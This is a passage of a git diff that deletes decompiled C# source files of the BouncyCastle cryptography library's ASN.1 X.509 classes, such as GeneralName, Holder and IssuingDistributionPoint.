- internal readonly DerInteger g; - - public BigInteger P => p.PositiveValue; - - public BigInteger Q => q.PositiveValue; - - public BigInteger G => g.PositiveValue; - - public static DsaParameter GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static DsaParameter GetInstance(object obj) - { - if (obj == null || obj is DsaParameter) - { - return (DsaParameter)obj; - } - if (obj is Asn1Sequence) - { - return new DsaParameter((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid DsaParameter: " + Platform.GetTypeName(obj)); - } - - public DsaParameter(BigInteger p, BigInteger q, BigInteger g) - { - this.p = new DerInteger(p); - this.q = new DerInteger(q); - this.g = new DerInteger(g); - } - - private DsaParameter(Asn1Sequence seq) - { - if (seq.Count != 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - p = DerInteger.GetInstance(seq[0]); - q = DerInteger.GetInstance(seq[1]); - g = DerInteger.GetInstance(seq[2]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(p, q, g); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ExtendedKeyUsage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ExtendedKeyUsage.cs deleted file mode 100644 index e0af1ae..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ExtendedKeyUsage.cs +++ /dev/null @@ -1,97 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class ExtendedKeyUsage : Asn1Encodable -{ - internal readonly IDictionary usageTable = Platform.CreateHashtable(); - - internal readonly Asn1Sequence seq; - - public int Count => usageTable.Count; - - public static ExtendedKeyUsage GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static ExtendedKeyUsage GetInstance(object obj) - { - if (obj is ExtendedKeyUsage) - { - return (ExtendedKeyUsage)obj; - } - if (obj is Asn1Sequence) - { - return new ExtendedKeyUsage((Asn1Sequence)obj); - } - if (obj is X509Extension) - { - return GetInstance(X509Extension.ConvertValueToObject((X509Extension)obj)); - } - throw new ArgumentException("Invalid ExtendedKeyUsage: " + Platform.GetTypeName(obj)); - } - - private ExtendedKeyUsage(Asn1Sequence seq) - { - this.seq = seq; - foreach (object item in seq) - { - if (!(item is DerObjectIdentifier)) - { - throw new ArgumentException("Only DerObjectIdentifier instances allowed in ExtendedKeyUsage."); - } - usageTable[item] = item; - } - } - - public ExtendedKeyUsage(params KeyPurposeID[] usages) - { - seq = new DerSequence(usages); - foreach (KeyPurposeID keyPurposeID in usages) - { - usageTable[keyPurposeID] = keyPurposeID; - } - } - - [Obsolete] - public ExtendedKeyUsage(ArrayList usages) - : this((IEnumerable)usages) - { - } - - public ExtendedKeyUsage(IEnumerable usages) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (object usage in usages) - { - Asn1Encodable instance = DerObjectIdentifier.GetInstance(usage); - asn1EncodableVector.Add(instance); - usageTable[instance] = instance; - } - seq = new DerSequence(asn1EncodableVector); - } - - public bool HasKeyPurposeId(KeyPurposeID keyPurposeId) - { - return usageTable.Contains(keyPurposeId); - } - - [Obsolete("Use 'GetAllUsages'")] - public ArrayList GetUsages() - { - return new ArrayList(usageTable.Values); - } - - public IList GetAllUsages() - { - return Platform.CreateArrayList(usageTable.Values); - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralName.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralName.cs deleted file mode 100644 index 266f9ea..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralName.cs +++ /dev/null @@ -1,299 +0,0 @@ -using System; -using System.Collections; -using System.Globalization; -using System.IO; -using System.Text; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Net; - -namespace Org.BouncyCastle.Asn1.X509; - -public class GeneralName : Asn1Encodable, IAsn1Choice -{ - public const int OtherName = 0; - - public const int Rfc822Name = 1; - - public const int DnsName = 2; - - public const int X400Address = 3; - - public const int DirectoryName = 4; - - public const int EdiPartyName = 5; - - public const int UniformResourceIdentifier = 6; - - public const int IPAddress = 7; - - public const int RegisteredID = 8; - - internal readonly Asn1Encodable obj; - - internal readonly int tag; - - public int TagNo => tag; - - public Asn1Encodable Name => obj; - - public GeneralName(X509Name directoryName) - { - obj = directoryName; - tag = 4; - } - - public GeneralName(Asn1Object name, int tag) - { - obj = name; - this.tag = tag; - } - - public GeneralName(int tag, Asn1Encodable name) - { - obj = name; - this.tag = tag; - } - - public GeneralName(int tag, string name) - { - this.tag = tag; - switch (tag) - { - case 1: - case 2: - case 6: - obj = new DerIA5String(name); - break; - case 8: - obj = new DerObjectIdentifier(name); - break; - case 4: - obj = new X509Name(name); - break; - case 7: - { - byte[] array = toGeneralNameEncoding(name); - if (array == null) - { - throw new ArgumentException("IP Address is invalid", "name"); - } - obj = new DerOctetString(array); - break; - } - default: - throw new ArgumentException("can't process string for tag: " + tag, "tag"); - } - } - - public static GeneralName GetInstance(object obj) - { - if (obj == null || obj is GeneralName) - { - return (GeneralName)obj; - } - if (obj is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)obj; - int tagNo = asn1TaggedObject.TagNo; - switch (tagNo) - { - case 0: - return new GeneralName(tagNo, Asn1Sequence.GetInstance(asn1TaggedObject, explicitly: false)); - case 1: - return new GeneralName(tagNo, DerIA5String.GetInstance(asn1TaggedObject, isExplicit: false)); - case 2: - return new GeneralName(tagNo, DerIA5String.GetInstance(asn1TaggedObject, isExplicit: false)); - case 3: - throw new ArgumentException("unknown tag: " + tagNo); - case 4: - return new GeneralName(tagNo, X509Name.GetInstance(asn1TaggedObject, explicitly: true)); - case 5: - return new GeneralName(tagNo, Asn1Sequence.GetInstance(asn1TaggedObject, explicitly: false)); - case 6: - return new GeneralName(tagNo, DerIA5String.GetInstance(asn1TaggedObject, isExplicit: false)); - case 7: - return new GeneralName(tagNo, Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: false)); - case 8: - return new GeneralName(tagNo, DerObjectIdentifier.GetInstance(asn1TaggedObject, explicitly: false)); - } - } - if (obj is byte[]) - { - try - { - return GetInstance(Asn1Object.FromByteArray((byte[])obj)); - } - catch (IOException) - { - throw new ArgumentException("unable to parse encoded general name"); - } - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public static GeneralName GetInstance(Asn1TaggedObject tagObj, bool explicitly) - { - return GetInstance(Asn1TaggedObject.GetInstance(tagObj, explicitly: true)); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(tag); - stringBuilder.Append(": "); - switch (tag) - { - case 1: - case 2: - case 6: - stringBuilder.Append(DerIA5String.GetInstance(obj).GetString()); - break; - case 4: - stringBuilder.Append(X509Name.GetInstance(obj).ToString()); - break; - default: - stringBuilder.Append(obj.ToString()); - break; - } - return stringBuilder.ToString(); - } - - private byte[] toGeneralNameEncoding(string ip) - { - if (Org.BouncyCastle.Utilities.Net.IPAddress.IsValidIPv6WithNetmask(ip) || Org.BouncyCastle.Utilities.Net.IPAddress.IsValidIPv6(ip)) - { - int num = ip.IndexOf('/'); - if (num < 0) - { - byte[] array = new byte[16]; - int[] parsedIp = parseIPv6(ip); - copyInts(parsedIp, array, 0); - return array; - } - byte[] array2 = new byte[32]; - int[] parsedIp2 = parseIPv6(ip.Substring(0, num)); - copyInts(parsedIp2, array2, 0); - string text = ip.Substring(num + 1); - parsedIp2 = ((text.IndexOf(':') <= 0) ? parseMask(text) : parseIPv6(text)); - copyInts(parsedIp2, array2, 16); - return array2; - } - if (Org.BouncyCastle.Utilities.Net.IPAddress.IsValidIPv4WithNetmask(ip) || Org.BouncyCastle.Utilities.Net.IPAddress.IsValidIPv4(ip)) - { - int num2 = ip.IndexOf('/'); - if (num2 < 0) - { - byte[] array3 = new byte[4]; - parseIPv4(ip, array3, 0); - return array3; - } - byte[] array4 = new byte[8]; - parseIPv4(ip.Substring(0, num2), array4, 0); - string text2 = ip.Substring(num2 + 1); - if (text2.IndexOf('.') > 0) - { - parseIPv4(text2, array4, 4); - } - else - { - parseIPv4Mask(text2, array4, 4); - } - return array4; - } - return null; - } - - private void parseIPv4Mask(string mask, byte[] addr, int offset) - { - int num = int.Parse(mask); - for (int i = 0; i != num; i++) - { - byte[] array2; - byte[] array = (array2 = addr); - int num2 = i / 8 + offset; - nint num3 = num2; - array[num2] = (byte)(array2[num3] | (byte)(1 << i % 8)); - } - } - - private void parseIPv4(string ip, byte[] addr, int offset) - { - string[] array = ip.Split('.', '/'); - foreach (string s in array) - { - addr[offset++] = (byte)int.Parse(s); - } - } - - private int[] parseMask(string mask) - { - int[] array = new int[8]; - int num = int.Parse(mask); - for (int i = 0; i != num; i++) - { - int[] array3; - int[] array2 = (array3 = array); - int num2 = i / 16; - nint num3 = num2; - array2[num2] = array3[num3] | (1 << i % 16); - } - return array; - } - - private void copyInts(int[] parsedIp, byte[] addr, int offSet) - { - for (int i = 0; i != parsedIp.Length; i++) - { - addr[i * 2 + offSet] = (byte)(parsedIp[i] >> 8); - addr[i * 2 + 1 + offSet] = (byte)parsedIp[i]; - } - } - - private int[] parseIPv6(string ip) - { - if (Platform.StartsWith(ip, "::")) - { - ip = ip.Substring(1); - } - else if (Platform.EndsWith(ip, "::")) - { - ip = ip.Substring(0, ip.Length - 1); - } - IEnumerator enumerator = ip.Split(new char[1] { ':' }).GetEnumerator(); - int num = 0; - int[] array = new int[8]; - int num2 = -1; - while (enumerator.MoveNext()) - { - string text = (string)enumerator.Current; - if (text.Length == 0) - { - num2 = num; - array[num++] = 0; - continue; - } - if (text.IndexOf('.') < 0) - { - array[num++] = int.Parse(text, NumberStyles.AllowHexSpecifier); - continue; - } - string[] array2 = text.Split(new char[1] { '.' }); - array[num++] = (int.Parse(array2[0]) << 8) | int.Parse(array2[1]); - array[num++] = (int.Parse(array2[2]) << 8) | int.Parse(array2[3]); - } - if (num != array.Length) - { - Array.Copy(array, num2, array, array.Length - (num - num2), num - num2); - for (int i = num2; i != array.Length - (num - num2); i++) - { - array[i] = 0; - } - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return new DerTaggedObject(tag == 4, tag, obj); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralNames.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralNames.cs deleted file mode 100644 index 45bde13..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralNames.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class GeneralNames : Asn1Encodable -{ - private readonly GeneralName[] names; - - public static GeneralNames GetInstance(object obj) - { - if (obj == null || obj is GeneralNames) - { - return (GeneralNames)obj; - } - if (obj is Asn1Sequence) - { - return new GeneralNames((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static GeneralNames GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public GeneralNames(GeneralName name) - { - names = new GeneralName[1] { name }; - } - - public GeneralNames(GeneralName[] names) - { - this.names = (GeneralName[])names.Clone(); - } - - private GeneralNames(Asn1Sequence seq) - { - names = new GeneralName[seq.Count]; - for (int i = 0; i != seq.Count; i++) - { - names[i] = GeneralName.GetInstance(seq[i]); - } - } - - public GeneralName[] GetNames() - { - return (GeneralName[])names.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(names); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - string newLine = Platform.NewLine; - stringBuilder.Append("GeneralNames:"); - stringBuilder.Append(newLine); - GeneralName[] array = names; - foreach (GeneralName value in array) - { - stringBuilder.Append(" "); - stringBuilder.Append(value); - stringBuilder.Append(newLine); - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralSubtree.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralSubtree.cs deleted file mode 100644 index 237a6f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/GeneralSubtree.cs +++ /dev/null @@ -1,133 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.X509; - -public class GeneralSubtree : Asn1Encodable -{ - private readonly GeneralName baseName; - - private readonly DerInteger minimum; - - private readonly DerInteger maximum; - - public GeneralName Base => baseName; - - public BigInteger Minimum - { - get - { - if (minimum != null) - { - return minimum.Value; - } - return BigInteger.Zero; - } - } - - public BigInteger Maximum - { - get - { - if (maximum != null) - { - return maximum.Value; - } - return null; - } - } - - private GeneralSubtree(Asn1Sequence seq) - { - baseName = GeneralName.GetInstance(seq[0]); - switch (seq.Count) - { - case 2: - { - Asn1TaggedObject instance3 = Asn1TaggedObject.GetInstance(seq[1]); - switch (instance3.TagNo) - { - case 0: - minimum = DerInteger.GetInstance(instance3, isExplicit: false); - break; - case 1: - maximum = DerInteger.GetInstance(instance3, isExplicit: false); - break; - default: - throw new ArgumentException("Bad tag number: " + instance3.TagNo); - } - break; - } - case 3: - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[1]); - if (instance.TagNo != 0) - { - throw new ArgumentException("Bad tag number for 'minimum': " + instance.TagNo); - } - minimum = DerInteger.GetInstance(instance, isExplicit: false); - Asn1TaggedObject instance2 = Asn1TaggedObject.GetInstance(seq[2]); - if (instance2.TagNo != 1) - { - throw new ArgumentException("Bad tag number for 'maximum': " + instance2.TagNo); - } - maximum = DerInteger.GetInstance(instance2, isExplicit: false); - break; - } - default: - throw new ArgumentException("Bad sequence size: " + seq.Count); - case 1: - break; - } - } - - public GeneralSubtree(GeneralName baseName, BigInteger minimum, BigInteger maximum) - { - this.baseName = baseName; - if (minimum != null) - { - this.minimum = new DerInteger(minimum); - } - if (maximum != null) - { - this.maximum = new DerInteger(maximum); - } - } - - public GeneralSubtree(GeneralName baseName) - : this(baseName, null, null) - { - } - - public static GeneralSubtree GetInstance(Asn1TaggedObject o, bool isExplicit) - { - return new GeneralSubtree(Asn1Sequence.GetInstance(o, isExplicit)); - } - - public static GeneralSubtree GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is GeneralSubtree) - { - return (GeneralSubtree)obj; - } - return new GeneralSubtree(Asn1Sequence.GetInstance(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(baseName); - if (minimum != null && minimum.Value.SignValue != 0) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, minimum)); - } - if (maximum != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, maximum)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Holder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Holder.cs deleted file mode 100644 index fa65590..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Holder.cs +++ /dev/null @@ -1,137 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class Holder : Asn1Encodable -{ - internal readonly IssuerSerial baseCertificateID; - - internal readonly GeneralNames entityName; - - internal readonly ObjectDigestInfo objectDigestInfo; - - private readonly int version; - - public int Version => version; - - public IssuerSerial BaseCertificateID => baseCertificateID; - - public GeneralNames EntityName => entityName; - - public ObjectDigestInfo ObjectDigestInfo => objectDigestInfo; - - public static Holder GetInstance(object obj) - { - if (obj is Holder) - { - return (Holder)obj; - } - if (obj is Asn1Sequence) - { - return new Holder((Asn1Sequence)obj); - } - if (obj is Asn1TaggedObject) - { - return new Holder((Asn1TaggedObject)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public Holder(Asn1TaggedObject tagObj) - { - switch (tagObj.TagNo) - { - case 0: - baseCertificateID = IssuerSerial.GetInstance(tagObj, explicitly: false); - break; - case 1: - entityName = GeneralNames.GetInstance(tagObj, explicitly: false); - break; - default: - throw new ArgumentException("unknown tag in Holder"); - } - version = 0; - } - - private Holder(Asn1Sequence seq) - { - if (seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - for (int i = 0; i != seq.Count; i++) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[i]); - switch (instance.TagNo) - { - case 0: - baseCertificateID = IssuerSerial.GetInstance(instance, explicitly: false); - break; - case 1: - entityName = GeneralNames.GetInstance(instance, explicitly: false); - break; - case 2: - objectDigestInfo = ObjectDigestInfo.GetInstance(instance, isExplicit: false); - break; - default: - throw new ArgumentException("unknown tag in Holder"); - } - } - version = 1; - } - - public Holder(IssuerSerial baseCertificateID) - : this(baseCertificateID, 1) - { - } - - public Holder(IssuerSerial baseCertificateID, int version) - { - this.baseCertificateID = baseCertificateID; - this.version = version; - } - - public Holder(GeneralNames entityName) - : this(entityName, 1) - { - } - - public Holder(GeneralNames entityName, int version) - { - this.entityName = entityName; - this.version = version; - } - - public Holder(ObjectDigestInfo objectDigestInfo) - { - this.objectDigestInfo = objectDigestInfo; - version = 1; - } - - public override Asn1Object ToAsn1Object() - { - if (version == 1) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (baseCertificateID != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, baseCertificateID)); - } - if (entityName != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, entityName)); - } - if (objectDigestInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 2, objectDigestInfo)); - } - return new DerSequence(asn1EncodableVector); - } - if (entityName != null) - { - return new DerTaggedObject(explicitly: false, 1, entityName); - } - return new DerTaggedObject(explicitly: false, 0, baseCertificateID); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IetfAttrSyntax.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IetfAttrSyntax.cs deleted file mode 100644 index 5c34b3c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IetfAttrSyntax.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class IetfAttrSyntax : Asn1Encodable -{ - public const int ValueOctets = 1; - - public const int ValueOid = 2; - - public const int ValueUtf8 = 3; - - internal readonly GeneralNames policyAuthority; - - internal readonly Asn1EncodableVector values = new Asn1EncodableVector(); - - internal int valueChoice = -1; - - public GeneralNames PolicyAuthority => policyAuthority; - - public int ValueType => valueChoice; - - public IetfAttrSyntax(Asn1Sequence seq) - { - int num = 0; - if (seq[0] is Asn1TaggedObject) - { - policyAuthority = GeneralNames.GetInstance((Asn1TaggedObject)seq[0], explicitly: false); - num++; - } - else if (seq.Count == 2) - { - policyAuthority = GeneralNames.GetInstance(seq[0]); - num++; - } - if (!(seq[num] is Asn1Sequence)) - { - throw new ArgumentException("Non-IetfAttrSyntax encoding"); - } - seq = (Asn1Sequence)seq[num]; - foreach (Asn1Object item in seq) - { - int num2; - if (item is DerObjectIdentifier) - { - num2 = 2; - } - else if (item is DerUtf8String) - { - num2 = 3; - } - else - { - if (!(item is DerOctetString)) - { - throw new ArgumentException("Bad value type encoding IetfAttrSyntax"); - } - num2 = 1; - } - if (valueChoice < 0) - { - valueChoice = num2; - } - if (num2 != valueChoice) - { - throw new ArgumentException("Mix of value types in IetfAttrSyntax"); - } - values.Add(item); - } - } - - public object[] GetValues() - { - if (ValueType == 1) - { - Asn1OctetString[] array = new Asn1OctetString[values.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = (Asn1OctetString)values[i]; - } - return array; - } - if (ValueType == 2) - { - DerObjectIdentifier[] array2 = new DerObjectIdentifier[values.Count]; - for (int j = 0; j != array2.Length; j++) - { - array2[j] = (DerObjectIdentifier)values[j]; - } - return array2; - } - DerUtf8String[] array3 = new DerUtf8String[values.Count]; - for (int k = 0; k != array3.Length; k++) - { - array3[k] = (DerUtf8String)values[k]; - } - return array3; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (policyAuthority != null) - { - asn1EncodableVector.Add(new DerTaggedObject(0, policyAuthority)); - } - asn1EncodableVector.Add(new DerSequence(values)); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IssuerSerial.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IssuerSerial.cs deleted file mode 100644 index 2727abe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IssuerSerial.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class IssuerSerial : Asn1Encodable -{ - internal readonly GeneralNames issuer; - - internal readonly DerInteger serial; - - internal readonly DerBitString issuerUid; - - public GeneralNames Issuer => issuer; - - public DerInteger Serial => serial; - - public DerBitString IssuerUid => issuerUid; - - public static IssuerSerial GetInstance(object obj) - { - if (obj == null || obj is IssuerSerial) - { - return (IssuerSerial)obj; - } - if (obj is Asn1Sequence) - { - return new IssuerSerial((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static IssuerSerial GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - private IssuerSerial(Asn1Sequence seq) - { - if (seq.Count != 2 && seq.Count != 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - issuer = GeneralNames.GetInstance(seq[0]); - serial = DerInteger.GetInstance(seq[1]); - if (seq.Count == 3) - { - issuerUid = DerBitString.GetInstance(seq[2]); - } - } - - public IssuerSerial(GeneralNames issuer, DerInteger serial) - { - this.issuer = issuer; - this.serial = serial; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(issuer, serial); - if (issuerUid != null) - { - asn1EncodableVector.Add(issuerUid); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IssuingDistributionPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IssuingDistributionPoint.cs deleted file mode 100644 index 9d041ab..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/IssuingDistributionPoint.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class IssuingDistributionPoint : Asn1Encodable -{ - private readonly DistributionPointName _distributionPoint; - - private readonly bool _onlyContainsUserCerts; - - private readonly bool _onlyContainsCACerts; - - private readonly ReasonFlags _onlySomeReasons; - - private readonly bool _indirectCRL; - - private readonly bool _onlyContainsAttributeCerts; - - private readonly Asn1Sequence seq; - - public bool OnlyContainsUserCerts => _onlyContainsUserCerts; - - public bool OnlyContainsCACerts => _onlyContainsCACerts; - - public bool IsIndirectCrl => _indirectCRL; - - public bool OnlyContainsAttributeCerts => _onlyContainsAttributeCerts; - - public DistributionPointName DistributionPoint => _distributionPoint; - - public ReasonFlags OnlySomeReasons => _onlySomeReasons; - - public static IssuingDistributionPoint GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static IssuingDistributionPoint GetInstance(object obj) - { - if (obj == null || obj is IssuingDistributionPoint) - { - return (IssuingDistributionPoint)obj; - } - if (obj is Asn1Sequence) - { - return new IssuingDistributionPoint((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public IssuingDistributionPoint(DistributionPointName distributionPoint, bool onlyContainsUserCerts, bool onlyContainsCACerts, ReasonFlags onlySomeReasons, bool indirectCRL, bool onlyContainsAttributeCerts) - { - _distributionPoint = distributionPoint; - _indirectCRL = indirectCRL; - _onlyContainsAttributeCerts = onlyContainsAttributeCerts; - _onlyContainsCACerts = onlyContainsCACerts; - _onlyContainsUserCerts = onlyContainsUserCerts; - _onlySomeReasons = onlySomeReasons; - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (distributionPoint != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, distributionPoint)); - } - if (onlyContainsUserCerts) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, DerBoolean.True)); - } - if (onlyContainsCACerts) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 2, DerBoolean.True)); - } - if (onlySomeReasons != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 3, onlySomeReasons)); - } - if (indirectCRL) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 4, DerBoolean.True)); - } - if (onlyContainsAttributeCerts) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 5, DerBoolean.True)); - } - seq = new DerSequence(asn1EncodableVector); - } - - private IssuingDistributionPoint(Asn1Sequence seq) - { - this.seq = seq; - for (int i = 0; i != seq.Count; i++) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[i]); - switch (instance.TagNo) - { - case 0: - _distributionPoint = DistributionPointName.GetInstance(instance, explicitly: true); - break; - case 1: - _onlyContainsUserCerts = DerBoolean.GetInstance(instance, isExplicit: false).IsTrue; - break; - case 2: - _onlyContainsCACerts = DerBoolean.GetInstance(instance, isExplicit: false).IsTrue; - break; - case 3: - _onlySomeReasons = new ReasonFlags(DerBitString.GetInstance(instance, isExplicit: false)); - break; - case 4: - _indirectCRL = DerBoolean.GetInstance(instance, isExplicit: false).IsTrue; - break; - case 5: - _onlyContainsAttributeCerts = DerBoolean.GetInstance(instance, isExplicit: false).IsTrue; - break; - default: - throw new ArgumentException("unknown tag in IssuingDistributionPoint"); - } - } - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } - - public override string ToString() - { - string newLine = Platform.NewLine; - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("IssuingDistributionPoint: ["); - stringBuilder.Append(newLine); - if (_distributionPoint != null) - { - appendObject(stringBuilder, newLine, "distributionPoint", _distributionPoint.ToString()); - } - if (_onlyContainsUserCerts) - { - bool onlyContainsUserCerts = _onlyContainsUserCerts; - appendObject(stringBuilder, newLine, "onlyContainsUserCerts", onlyContainsUserCerts.ToString()); - } - if (_onlyContainsCACerts) - { - bool onlyContainsUserCerts = _onlyContainsCACerts; - appendObject(stringBuilder, newLine, "onlyContainsCACerts", onlyContainsUserCerts.ToString()); - } - if (_onlySomeReasons != null) - { - appendObject(stringBuilder, newLine, "onlySomeReasons", _onlySomeReasons.ToString()); - } - if (_onlyContainsAttributeCerts) - { - bool onlyContainsUserCerts = _onlyContainsAttributeCerts; - appendObject(stringBuilder, newLine, "onlyContainsAttributeCerts", onlyContainsUserCerts.ToString()); - } - if (_indirectCRL) - { - bool onlyContainsUserCerts = _indirectCRL; - appendObject(stringBuilder, newLine, "indirectCRL", onlyContainsUserCerts.ToString()); - } - stringBuilder.Append("]"); - stringBuilder.Append(newLine); - return stringBuilder.ToString(); - } - - private void appendObject(StringBuilder buf, string sep, string name, string val) - { - string value = " "; - buf.Append(value); - buf.Append(name); - buf.Append(":"); - buf.Append(sep); - buf.Append(value); - buf.Append(value); - buf.Append(val); - buf.Append(sep); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/KeyPurposeID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/KeyPurposeID.cs deleted file mode 100644 index 0a19484..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/KeyPurposeID.cs +++ /dev/null @@ -1,35 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public sealed class KeyPurposeID : DerObjectIdentifier -{ - private const string IdKP = "1.3.6.1.5.5.7.3"; - - public static readonly KeyPurposeID AnyExtendedKeyUsage = new KeyPurposeID(X509Extensions.ExtendedKeyUsage.Id + ".0"); - - public static readonly KeyPurposeID IdKPServerAuth = new KeyPurposeID("1.3.6.1.5.5.7.3.1"); - - public static readonly KeyPurposeID IdKPClientAuth = new KeyPurposeID("1.3.6.1.5.5.7.3.2"); - - public static readonly KeyPurposeID IdKPCodeSigning = new KeyPurposeID("1.3.6.1.5.5.7.3.3"); - - public static readonly KeyPurposeID IdKPEmailProtection = new KeyPurposeID("1.3.6.1.5.5.7.3.4"); - - public static readonly KeyPurposeID IdKPIpsecEndSystem = new KeyPurposeID("1.3.6.1.5.5.7.3.5"); - - public static readonly KeyPurposeID IdKPIpsecTunnel = new KeyPurposeID("1.3.6.1.5.5.7.3.6"); - - 